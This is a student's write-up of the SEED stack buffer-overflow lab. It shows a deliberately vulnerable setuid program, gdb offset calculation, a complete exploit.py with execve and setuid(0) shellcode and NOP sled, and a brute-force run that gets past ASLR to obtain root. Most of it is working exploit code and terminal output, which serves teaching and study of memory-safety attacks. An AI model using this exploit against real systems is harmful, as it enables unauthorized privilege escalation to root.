Lab 5

Task 1

First, disable address space randomization and configuring bin/sh.

Then, do regular make by doing **$ make.**

```
seed@VM: ~/.../shellcode
[03/23/23]seed@VM:~/.../shellcode$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[03/23/23]seed@VM:~/.../shellcode$ sudo ln -sf /bin/zsh /bin/sh
[03/23/23]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
```

After make, you will see a32.out and a64.out which are in 32 and 64 bit versions.

Run $**a32.out** and/or **$a64.out**, you will see that you are only in user mode.

```
[03/23/23]seed@VM:~/.../shellcode$ ls
a32.out  a64.out  call_shellcode.c  Makefile
[03/23/23]seed@VM:~/.../shellcode$ a32.out
$ exit
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ exit
[03/23/23]seed@VM:~/.../shellcode$ a64.out
$ exi   id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
$ exit
[03/23/23]seed@VM:~/.../shellcode$ 
```

Now, lets do **$ make setuid** which means compile the file in privileged mode.

```
seed@VM: ~/.../shellcode
[03/23/23]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
```

After make in privileged mode, you will see a32.out and a64.out which are in 32 and 64 bit privileged versions.

Run $**a32.out** and/or **$a64.out**, you will see that you are now in root mode.

```
[03/23/23]seed@VM:~/.../shellcode$ a32.out
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
[03/23/23]seed@VM:~/.../shellcode$ a64.out
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
#
```

The shellcode can let you go into desired user mode by provoking hardware to do as you desired. Shellcode can also become handy in terms of becoming root user without further authorization when attacking.

Task 2

This is C code for the vulnerable program. The BUF_SIZE is changed to 132.

stack.c

stack.c > BUF_SIZE

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 132 /*Change to 132 as PDF instructs*/
#endif

void dummy_function(char *str);

int bof(char *str)
{
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem
    strcpy(buffer, str);

    return 1;
}
```

The make file has L1 changed to 132.

Open

Makefile
~/Desktop/Lab_5/Labsetup/code

```makefile
FLAGS    = -z execstack -fno-stack-protector
FLAGS_32 = -m32
TARGET   = stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-L2-dbg stack-L3-dbg stack-L4-dbg

L1 = 132
L2 = 160
L3 = 200
L4 = 10
```

Do **$ make** to compile the vulnerable program. Then, do **$ touch badfile** to create an empty file called ‘badfile’. You will see multiple compiled program such as ‘stack-L1/L2/L3/L4’. If I now run **stack-L1**, the program will return properly since there is nothing on **badfile**.

```
seed@VM: ~/.../code
[03/23/23]seed@VM:~/.../code$ make
gcc -DBUF_SIZE=132 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=132 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg sta
ck.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg sta
ck.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
[03/23/23]seed@VM:~/.../code$ touch badfile
[03/23/23]seed@VM:~/.../code$ ls
badfile         Makefile  stack-L1      stack-L2-dbg  stack-L4
brute-force.sh  stack     stack-L1-dbg  stack-L3      stack-L4-dbg
exploit.py      stack.c   stack-L2      stack-L3-dbg
[03/23/23]seed@VM:~/.../code$ stack-L1
Input size: 0
==== Returned Properly ====
[03/23/23]seed@VM:~/.../code$
```

Now, modify the ‘badfile’. If the size of file is lower than 140 bytes, then there will be proper return. If the size of file is larger or equal to 140 bytes, **segmentation fault** will occur as the buffer size is being overflowing.

```
seed@VM: ~/.../code
[03/24/23]seed@VM:~/.../code$ stack-L1
Input size: 139
==== Returned Properly ====
[03/24/23]seed@VM:~/.../code$ stack-L1
Input size: 140
Segmentation fault
[03/24/23]seed@VM:~/.../code$
```

The purpose of ‘badfile’ is to contain shell code and malicious file once stack.c program is being executed.

Task 3

Initiate gdb then do **\$b bof** which the gdb will stop at the function **bof()** when running.

```
seed@VM: ~/.../code
[03/23/23]seed@VM:~/.../code$ gdb stack-L1-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
an "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m
ean "=="?
  if pyversion is 3:
Reading symbols from stack-L1-dbg...
gdb-peda$ 
```

Run the program by using **\$ run**

```
gdb-peda$ run
Starting program: /home/seed/Desktop/Lab_5/Labsetup/code/stack-L1-dbg
Input size: 0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb18 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf00 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf08 --> 0xffffd138 --> 0x0
ESP: 0xffffcafc --> 0x565563f4 (<dummy_function+62>:    add    esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562a4 <frame_dummy+4>:  jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:  mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:        ret
=> 0x565562ad <bof>:    endbr32
   0x565562b1 <bof+4>:  push   ebp
   0x565562b2 <bof+5>:  mov    ebp,esp
   0x565562b4 <bof+7>:  push   ebx
   0x565562b5 <bof+8>:  sub    esp,0x94
[------------------------------------stack-------------------------------------]
```

seed@VM: ~/.../code

```
[------------------------------------stack-------------------------------------]
0000| 0xffffcafc --> 0x565563f4 (<dummy_function+62>:	add    esp,0x10)
0004| 0xffffcb00 --> 0xffffcf23 --> 0x456
0008| 0xffffcb04 --> 0x0
0012| 0xffffcb08 --> 0x3e8
0016| 0xffffcb0c --> 0x565563c9 (<dummy_function+19>:	add    eax,0x2bef)
0020| 0xffffcb10 --> 0x0
0024| 0xffffcb14 --> 0x0
0028| 0xffffcb18 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
```

Do $ **next**

```
Breakpoint 1, bof (str=0xffffcf23 "V\004") at stack.c:16
16	{
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf00 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcaf8 --> 0xffffcf08 --> 0xffffd138 --> 0x0
ESP: 0xffffca60 ("0pUV.pUV\030\317\377\377")
```

seed@VM: ~/.../code

```
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf00 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcaf8 --> 0xffffcf08 --> 0xffffd138 --> 0x0
ESP: 0xffffca60 ("0pUV.pUV\030\317\377\377")
EIP: 0x565562c5 (<bof+24>:	sub    esp,0x8)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562b5 <bof+8>:	sub    esp,0x94
   0x565562bb <bof+14>:	call   0x565563fd <__x86.get_pc_thunk.ax>
   0x565562c0 <bof+19>:	add    eax,0x2cf8
=> 0x565562c5 <bof+24>:	sub    esp,0x8
   0x565562c8 <bof+27>:	push   DWORD PTR [ebp+0x8]
   0x565562cb <bof+30>:	lea    edx,[ebp-0x8c]
   0x565562d1 <bof+36>:	push   edx
   0x565562d2 <bof+37>:	mov    ebx,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffca60 ("0pUV.pUV\030\317\377\377")
0004| 0xffffca64 (".pUV\030\317\377\377")
0008| 0xffffca68 --> 0xffffcf18 --> 0x205
```

```
seed@VM: ~/.../code
   0x565562bb <bof+14>: call   0x565563fd <__x86.get_pc_thunk.ax>
   0x565562c0 <bof+19>: add    eax,0x2cf8
=> 0x565562c5 <bof+24>: sub    esp,0x8
   0x565562c8 <bof+27>: push   DWORD PTR [ebp+0x8]
   0x565562cb <bof+30>: lea    edx,[ebp-0x8c]
   0x565562d1 <bof+36>: push   edx
   0x565562d2 <bof+37>: mov    ebx,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffca60 ("0pUV.pUV\030\317\377\377")
0004| 0xffffca64 (".pUV\030\317\377\377")
0008| 0xffffca68 --> 0xffffcf18 --> 0x205
0012| 0xffffca6c --> 0x0
0016| 0xffffca70 --> 0x0
0020| 0xffffca74 --> 0x0
0024| 0xffffca78 ("\"pUV\016")
0028| 0xffffca7c --> 0xe
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcaf8
gdb-peda$ p &buffer
$2 = (char (*)[132]) 0xffffca6c
gdb-peda$
```

At the bottom of gdb, type **p $ebp** to get $ebp address, **p &buffer** to get buffer’s address.

```
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcaf8
gdb-peda$ p &buffer
$2 = (char (*)[132]) 0xffffca6c
gdb-peda$
```

Do **p/d 0xffffcaf8 – 0xffffca6c** to get offset.

```
gdb-peda$ p/d 0xffffcaf8 - 0xffffca6c
$3 = 140
gdb-peda$
```

Go to python and enter the value obtained from gdb. Shellcode is from the C code from task 2. Copy and past the 32-bit shellcode to python.

Variable **ret** is the 'start of the buffer address + 140(from task 2 which causes improper return then value is larger and equal to 140)'. This will cover all 'nop' part of stack, then overlaps the address over '/bin/sh' part of the stack.

Variable **offset** is from gdb '$ebp(0xffffcaf8) - &buffer(0xffffca6c)' which is 140. Then + 4 for including return address bytes. Total 144 for **offset**.

exploit.py - /home/seed/Desktop/Lab_5/Labsetup/code/exploit.py (3.8.5)

File Edit Format Run Options Window Help

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 200               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcaf8 + 140          # Change this number to start of $ebp
offset = 144              # Change this number to ($ebp - &buffer) + 4

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Run the python program, then run ‘stack-L1’. You will find that you successfully launched an attack by stealing root mode caused by buffer overflow.

```
seed@VM: ~/.../code
[03/23/23]seed@VM:~/.../code$ exploit.py
[03/23/23]seed@VM:~/.../code$ stack-L1
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# 
```

Task 7

Modify ‘call_shellcode.c’ by adding **setuid(0)** shell code to start of respecting bit’s shellcode field.

```c
C call_shellcode.c > main(int, char **)
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0)
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"


const char shellcode[] =
#if __x86_64__
  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05" /*Binary code for setuid(0) 64-bit*/
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"         /*Binary code for setuid(0) 32-bit*/
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;
```

Do **$sudo ln -sf /bin/dash /bin/sh** to point back to /bin/dash.

Do **$make setuid** to compile

Run ‘a32.out’ or ‘a64.out’, you will see your **uid** is now root which is different from task 1.

```
seed@VM: ~/.../shellcode
[03/23/23]seed@VM:~/.../shellcode$ sudo ln -sf /bin/dash /bin/sh
[03/23/23]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[03/23/23]seed@VM:~/.../shellcode$ a32.out
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
[03/23/23]seed@VM:~/.../shellcode$ a64.out
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
[03/23/23]seed@VM:~/.../shellcode$
```

Now, add the same **setuid(0)** shell code from ‘call_stack.c’ to the first line of **shellcode** in python.

```
exploit.py - /home/seed/Desktop/Lab_5/Labsetup/code/exploit.py (3.8.5)
File  Edit  Format  Run  Options  Window  Help
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80" #Binary code for setuid(0)
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
```

Redo the attack. Run python file. Then run 'stack-L1'. You can see that you successfully got the root privilege and your **uid** is now root.

Do **$ ls -l /bin/bash /bin/zsh /bin/dash** to verify your permission level.

```
seed@VM: ~/.../code
[03/23/23]seed@VM:~/.../code$ make
gcc -DBUF_SIZE=132 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=132 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg sta
ck.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg sta
ck.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
[03/23/23]seed@VM:~/.../code$ touch badfile
[03/23/23]seed@VM:~/.../code$ ./exploit.py
[03/23/23]seed@VM:~/.../code$ stack-L1
Input size: 517
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# ls -l /bin/bash /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash
-rwxr-xr-x 1 root root  129816 Jul 18  2019 /bin/dash
-rwxr-xr-x 1 root root  878288 Feb 23  2020 /bin/zsh
#
```

This is what you get from task 2 and task 3. The difference is your **uid** is still your name instead of root.

```
Input size: 517
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
#
```

Task 8

Do **$ sudo /sbin/sysctl -w kernel.randomize_va_space=2** to turn on stack address randomization.

```
seed@VM: ~/.../code
[03/24/23]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[03/24/23]seed@VM:~/.../code$
```

Run ‘stack-L1’. You will see the attack fails due to stack address randomization. So you need to run ‘stack-L1’ as many times as possible until the attack is successful. Do **$ brute-force.sh** to run ‘stack-L1’ in infinite loop until attack succeeds.

```
seed@VM: ~/.../code
[03/23/23]seed@VM:~/.../code$ stack-L1
Input size: 517
Segmentation fault
[03/23/23]seed@VM:~/.../code$ brute-force.sh
```

The program is shown to be running for **154875 times** until the attack succeeds to steal the root privilege. The **uid** is shown to be root.

The reason that brute force attack is needed is due to the entropy of enabling stack address randomization is large. You need to run the attack in infinite loop until you strike the target address. If the program is in 64-bit, normally you will have to run the brute force longer than 32-bit one due to the entropy being larger.

```
./brute-force.sh: line 14: 321098 Segmentation fault      ./stack-L1
1 minutes and 58 seconds elapsed.
The program has been running 154872 times so far.
Input size: 517
./brute-force.sh: line 14: 321099 Segmentation fault      ./stack-L1
1 minutes and 58 seconds elapsed.
The program has been running 154873 times so far.
Input size: 517
./brute-force.sh: line 14: 321100 Segmentation fault      ./stack-L1
1 minutes and 58 seconds elapsed.
The program has been running 154874 times so far.
Input size: 517
./brute-force.sh: line 14: 321101 Segmentation fault      ./stack-L1
1 minutes and 58 seconds elapsed.
The program has been running 154875 times so far.
Input size: 517
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
#
```